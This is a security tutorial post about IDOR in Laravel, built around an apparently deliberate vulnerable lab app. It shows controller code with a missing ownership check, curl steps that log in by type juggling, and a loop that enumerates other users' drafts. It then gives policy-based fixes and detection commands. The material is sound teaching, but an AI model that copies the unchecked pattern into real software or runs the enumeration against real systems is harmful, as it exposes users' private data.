IDOR in Laravel: Exploiting Missing Authorization on Route Model Binding
This post references a codebase update that landed recently. Make sure you're on the latest commit before running anything here, or the seed data and routes won't match up:
git pull origin main
Then bring the containers up and rebuild the database:
docker compose up -d
docker compose exec dvla-admin php artisan migrate:fresh --seed
Picture a URL with a number in it: /posts/42,
/invoices/7, /drafts/1.
If the server just grabs whatever matches that number and hands it back without checking
whether you're actually allowed to see it, any logged-in user can read or change
anyone else's stuff just by swapping the number. The list page that filters to
show only your things? That doesn't protect the detail page at all. They're separate
HTTP requests. The database does exactly what you tell it, it has no clue who should
or shouldn't be asking.
Where This Sits in the Kill Chain
By this point in ArtisanBreach, the attacker's already in. Could be from mass
assignment at registration (Post 1), or the type juggling bypass at
/contributor-login (Post 3). IDOR is what comes next: turning
having an account into reading stuff that isn't yours.
Here, it's a contributor quietly pulling up internal editorial docs they were
never supposed to lay eyes on.
Vulnerability Classification
| CWE-639 | Authorization Bypass Through User-Controlled Key. The object gets looked up by a value the user supplies directly in the URL. |
|---|---|
| CWE-284 | Improper Access Control. The app never actually checks whether the logged-in user should be able to touch that resource. |
| OWASP Top 10 | A01:2021, Broken Access Control. Top spot since 2021, up from #5 in 2017. IDOR is a huge part of why it climbed to #1. |
| OWASP API Security | API1:2023, Broken Object Level Authorization (BOLA). Same problem, different name, same pain. |
| Real-world precedents |
CVE-2021-36539 (Instructure Canvas LMS): unprivileged users could pull
locked and unpublished files by hitting the DocViewer preview URL
(canvadoc_session_url) directly. CWE-639, CVSS 6.5. Same shape as this
lab: stuff that wasn't meant to be public, exposed just by asking for it.
CVE-2025-14594 (GitLab CE/EE): logged-in users could read restricted CI/CD pipeline values through an IDOR in the pipeline API. CWE-639. Proof this class of bug still ships in mature, security-conscious products all the time. |
The Wrong Mental Model (and Why It's So Easy to Fall Into)
IDOR doesn't happen because developers forget about security. It happens because of a specific, convincing, completely wrong mental model. It goes like this:
"The list only shows the user their own stuff, so they can only navigate to their own stuff. I don't need an extra check on the detail page."
That reasoning has a category error baked right into it. The list view and the detail view are independent HTTP requests. The user's browser doesn't enforce what was on the list. An attacker doesn't even use the browser, they send HTTP requests directly. The URL isn't a menu you browse. It's a function call any client can make with any arguments it wants.
Think of it like this. Imagine a bank vault where the teller only shows you your account number on screen. But if you walk up to the vault door and punch in someone else's account number directly, it opens anyway, because the door has no idea whose screen showed what. The display and the door are two different systems. They don't talk to each other.
That's IDOR. The list filtering is the display. The detail endpoint is the door. They share no context.
The ArtisanBreach Contributor Portal
ArtisanBreach LLC slapped together a contributor draft workflow in v2.1. Contributors log in
at /contributor-login, preview their drafts at
/contributor/drafts, and wait for an admin to publish.
The feature was built in a hurry. The list endpoint was scoped correctly. The detail endpoint had a comment:
// TODO: Add ownership check before launch, ticket #3112
Ticket #3112 was never resolved. The feature shipped. The
// TODO is still sitting there in production.
This is exactly how IDOR ends up in real codebases. Not because the developer didn't know about authorization, but because the list view worked correctly and felt done. The detail view was an afterthought. The TODO was honest, somebody knew the check was missing. Then the sprint ended.
The seeded data
| ID | user_id | status | title | Accessible to Sarah? |
|---|---|---|---|---|
| 1 | 1 (admin) | draft | CONFIDENTIAL: Executive Compensation Review | No, but IDOR allows it |
| 2 | 2 (Sarah) | draft | Q3 Roadmap Notes | Yes, legitimately hers |
| 3 | 1 (admin) | published | Site Relaunch Announcement | No, but IDOR allows it |
Sarah's dashboard shows her exactly one post: ID 2. The list query is correct. But the detail endpoint for ID 1 and ID 3 comes back with full content without checking whether Sarah should be seeing any of it. Integer IDs are sequential, totally predictable, and take zero effort to guess.
Vulnerable Code Walkthrough
RoutesAuth middleware only, zero ownership constraint
// routes/web.php
// List, middleware checks authentication, not ownership
Route::get('/contributor/drafts', [\App\Http\Controllers\Contributor\PostController::class, 'index'])
->name('contributor.drafts');
// Detail, same: auth only. The controller is responsible for authorization.
// It does not perform it.
Route::get('/contributor/drafts/{id}', [\App\Http\Controllers\Contributor\PostController::class, 'show'])
->name('contributor.drafts.show');
// {id} is a raw integer from the URL. Any integer. No constraint.
Controller
Filtered index, wide-open show
// app/Http/Controllers/Contributor/PostController.php
public function index(): View
{
$drafts = Post::where('user_id', auth()->id()) // correctly scoped
->latest()
->get();
return view('contributor.drafts', compact('drafts'));
}
/**
* TODO: Add ownership check before launch, ticket #3112
*/
public function show(int $id): View
{
// Loads any post by primary key with no authorization check.
// auth()->id() is never consulted here.
// Sarah, the admin, or anyone else with a session gets the same result.
$post = Post::findOrFail($id);
return view('contributor.post-preview', compact('post'));
}
index() method has where('user_id', auth()->id()).
The developer knew about ownership scoping. They applied it to the list.
They didn't apply it to the detail. This is the exact gap IDOR thrives in: correct
thinking applied inconsistently across methods that handle the same resource.
user_id tracks ownership, but the controller pretends it doesn't exist
// database/migrations/2024_06_08_224637_create_posts_table.php
Schema::create('posts', function (Blueprint $table) {
$table->id();
// Tracks which CMS user authored the post.
$table->foreignId('user_id')->nullable()->constrained()->nullOnDelete();
$table->string('title');
// ...
$table->enum('status', ['draft', 'published'])->default('draft');
});
The ownership data is sitting right there in the database. The column exists. The relationship is defined. Every piece of info needed to enforce access control is sitting unused in every row. The problem isn't missing data, it's a missing check.
The Attack
Log in as the contributor (or reuse the type juggling session from Post 3):
TOKEN=$(curl -s http://localhost:8084/contributor-login \
| grep -oP '(?<=name="_token" value=")[^"]*')
curl -s -X POST http://localhost:8084/contributor-login \
-c cookies.txt -b cookies.txt \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "_token=$TOKEN" \
--data-urlencode "email=contributor@artisanbreach.com" \
--data-urlencode "password=QNKCDZO"
# 302 redirect to the contributor dashboard (authenticated via type juggling bypass)
Step 2
Visit your own dashboard, observe the post ID in the URL:
curl -s -b cookies.txt http://localhost:8084/contributor/drafts | grep -o 'drafts/[0-9]*'
# drafts/2 only Post ID 2 visible in the list
Step 3
Change the ID. Read the admin's confidential draft:
curl -s -b cookies.txt http://localhost:8084/contributor/drafts/1 | grep -A5 'CONFIDENTIAL\|compensation'
# CONFIDENTIAL: Executive Compensation Review
# Internal draft covering executive compensation adjustments for the next
# fiscal year. This has not been approved for release.
Step 4
Enumerate the entire posts table with a loop. No guessing required:
for id in $(seq 1 20); do
result=$(curl -s -b cookies.txt -o /dev/null -w "%{http_code}" \
http://localhost:8084/contributor/drafts/$id)
[ "$result" = "200" ] && echo "Post $id -> 200 OK (exists)"
[ "$result" = "404" ] && echo "Post $id -> 404 Not Found"
done
# Post 1 -> 200 OK (exists) : admin's confidential draft
# Post 2 -> 200 OK (exists) : Sarah's own post
# Post 3 -> 200 OK (exists) : admin's published post
The entire posts table is now mapped out. Every draft, published or not, confidential or not, belonging to any user, fully readable with one HTTP request each. No special tools. No brute force. Just bumping a number up by one.
What an Attacker Can Do With This
- All unpublished drafts, including confidential internal documents
- Full post content, slugs, meta descriptions, and status flags
- Author IDs leaked, mapping user accounts to content
- Embargoed or legally-reviewed content exposed before publication
- If the detail endpoint takes PUT/PATCH, IDOR goes from reading to tampering: modifying other people's content before it's published
- Sequential integer IDs are fully enumerable, no guessing at all
- Chained with type juggling (Post 3): no legitimate credential needed
- Chained with mass assignment (Post 2): attacker can register as admin and IDOR every route simultaneously
The Fix
Fix A: manual ownership WHERE clause
// app/Http/Controllers/Contributor/PostController.php
// Route stays /contributor/drafts/{id}, this fix takes a raw int, no binding change.
public function show(int $id): View
{
$post = Post::where('id', $id)
->where('user_id', auth()->id()) // enforces ownership
->firstOrFail(); // 404 if not found OR not owned
return view('contributor.post-preview', compact('post'));
}
This works. It closes the IDOR on this one method. The catch: you have to
manually add it to every single method that touches a post:
show, edit, update, destroy,
duplicate, any new endpoint you add later on.
Skip one, and you're right back where you started. That's why Fix B exists.
Fix B: Laravel Policy with Route Model Binding
php artisan make:policy PostPolicy --model=Post
// app/Policies/PostPolicy.php
class PostPolicy
{
// $user->id and $post->user_id are both integers (Eloquent casts keys to int),
// so the strict === comparison is safe and fails closed.
public function view(User $user, Post $post): bool
{
return $user->id === $post->user_id;
}
public function update(User $user, Post $post): bool
{
return $user->id === $post->user_id;
}
}
// routes/web.php
// Change the route key from {id} to {post} so implicit model binding
// can resolve the Post automatically. This step is required for Fix B.
Route::get('/contributor/drafts/{post}', [PostController::class, 'show'])
->name('contributor.drafts.show');
// app/Http/Controllers/Contributor/PostController.php
class PostController extends Controller
{
// Route Model Binding on {post} resolves the model from the URL.
// The policy check is one line. The logic lives in one place.
public function show(Post $post): View
{
$this->authorize('view', $post); // PostPolicy::view(), 403 if not owner
return view('contributor.post-preview', compact('post'));
}
public function update(Request $request, Post $post): RedirectResponse
{
$this->authorize('update', $post); // same policy, different method
// ...
}
}
Controller
with no traits, so $this->authorize() throws "Call to undefined
method" until you add AuthorizesRequests yourself (to the controller or
your base Controller). This app's own app/Http/Controllers/Controller.php
already includes it, so $this->authorize() works out of the box here, but
don't assume that on another Laravel 11/12 project without checking. If you'd rather not
depend on the trait being there, call Gate::authorize('view', $post) instead.
The current Laravel docs actually recommend the Gate facade for exactly this
reason.
where('user_id') has to be added to every method that touches
the resource. A policy gets defined once and enforced by calling
$this->authorize() (or Gate::authorize()). When you add a new
endpoint later, destroy, duplicate, export, the policy
is already there. You just call it. Manual checks require remembering to add
them; policies require remembering to skip them, which is a way rarer mistake.
Default-deny as a structural property, not a discipline requirement.
Fix C: non-enumerable identifiers (secondary layer)
// Replace integer IDs with UUIDs to remove sequential enumerability.
// This does NOT fix the authorization bug; it only makes discovery harder.
// Always apply an authorization check regardless of ID format.
// Migration (expression defaults require MySQL 8.0.13+; on SQLite or older
// MySQL, generate the UUID in the model via the HasUuids trait instead):
$table->uuid('public_id')->default(DB::raw('(UUID())'))->after('id');
// Route:
Route::get('/contributor/drafts/{post:public_id}', [PostController::class, 'show']);
// Laravel resolves: Post::where('public_id', $routeValue)->firstOrFail()
550e8400-e29b-41d4-a716-446655440000 isn't guessable
the way 42 is. But if that UUID leaks anywhere, a log file, an error
message, a referrer header, another API response, someone who gets their hands on it can
still exploit the IDOR. The authorization check is the fix. UUIDs just buy you
time if the check isn't there.
Finding It in Your Codebase
1. Controllers loading models without any ownership checks
# Methods using findOrFail / find without a where('user_id') or authorize() nearby
grep -rn 'findOrFail\|->find(' app/Http/Controllers/ \
| grep -v 'where.*user_id\|authorize\|Gate::'
# Each match needs manual review
2. Routes with no policy binding visible
php artisan route:list --columns=method,uri,action | grep contributor
# GET contributor/drafts/{id} Contributor\PostController@show
# No policy binding at the route level, inspect the controller manually
3. Tinker: manually verify the authorization gap on live data
php artisan tinker --execute "
\$contributor = App\Models\User::where('email', 'contributor@artisanbreach.com')->first();
\$adminPost = App\Models\Post::where('user_id', 1)->first();
echo 'Post owner: ' . \$adminPost->user_id . PHP_EOL;
echo 'Requester: ' . \$contributor->id . PHP_EOL;
echo 'Same owner? ' . (\$adminPost->user_id === \$contributor->id ? 'YES' : 'NO') . PHP_EOL;
echo 'IDOR possible: ' . (\$adminPost->user_id !== \$contributor->id ? 'YES' : 'No') . PHP_EOL;
"
# Post owner: 1
# Requester: 2
# Same owner? NO
# IDOR possible: YES
Remediation Checklist
-
Add an ownership
where('user_id', auth()->id())to everyfindOrFail()call on user-owned resources as an immediate fix. -
Generate a
PostPolicywithview,update, anddeletemethods. Call$this->authorize()(orGate::authorize()) in every corresponding controller method. -
Switch all user-facing routes to Route Model Binding (rename the route key to
{post}and type-hintPost $post) so Laravel resolves the model and policies can be applied consistently. -
If you use
$this->authorize()on Laravel 11/12, add theAuthorizesRequeststrait to your base controller, or switch to theGatefacade. - Write a feature test that authenticates as User A and requests a resource belonging to User B. Assert 403 or 404, never 200.
-
Run the
grepdetection command above across all controllers. Review everyfindOrFailthat lacks a neighbouring ownership scope orauthorize()call. - Consider UUIDs for public-facing object identifiers to remove sequential enumeration. Treat this as secondary defence only; it does not replace authorization checks.
-
Rely on policy auto-discovery (
App\Models\Postresolves toApp\Policies\PostPolicyby convention in Laravel 12). If you need explicit registration, callGate::policy(Post::class, PostPolicy::class)in a service providerboot()method such asAppServiceProvider.AuthServiceProvideris no longer part of the default Laravel 11/12 skeleton.
Why IDOR Is #1 on OWASP and Still Everywhere
IDOR has been on the OWASP Top 10 for over a decade. It hit the number one spot in 2021 because it's both the most common and the most consistently underestimated vulnerability class going. The reason it keeps showing up isn't that devs don't know about authorization. It's that authorization is per-request and per-object, and every new endpoint is a fresh chance to skip it while telling yourself the existing checks already cover it.
The Canvas LMS case (CVE-2021-36539) is a clean example: unprivileged users could pull locked and unpublished files just by hitting the preview URL for them. One missing ownership check, and a pile of restricted content became wide open. The GitLab pipeline IDOR (CVE-2025-14594) shows the exact same class landing in a mature, heavily audited product years later. This pattern doesn't age out.
In Laravel specifically, Route Model Binding made IDOR easier to introduce,
not harder. Writing Post $post in a method signature looks authoritative.
It looks like the framework handled it. But Route Model Binding only resolves the
model, it runs Post::findOrFail($id) for you. It doesn't check whether
the logged-in user should be allowed to see what it found. That part is still on you.
The shorthand invites you to assume resolution means authorization.
It really doesn't.
The Takeaway
The list query filtering by user_id isn't a security control.
It's a UX feature. It shows users a useful subset of data. It does absolutely nothing to
stop them from asking for any other ID directly. The list and the detail are
different HTTP requests handled by different controller methods, and each one
has to enforce its own authorization independently.
The right mental model: treat every ID in a URL as attacker-controlled input, because it is. An ID in a URL is no different from a field in a form. The server has to verify that the logged-in user is allowed to do the thing they're asking for on that specific object, on every request, every single time. Laravel Policies exist precisely so you can centralize that check and not accidentally leave it off a new endpoint.
The exploit here needed no tools, no fuzzing, and no special knowledge. Just
changing a 2 to a 1 in the browser address bar. The
information that came back was an unpublished confidential editorial planning document.
The fix is a handful of lines of policy code and one authorize() call per method.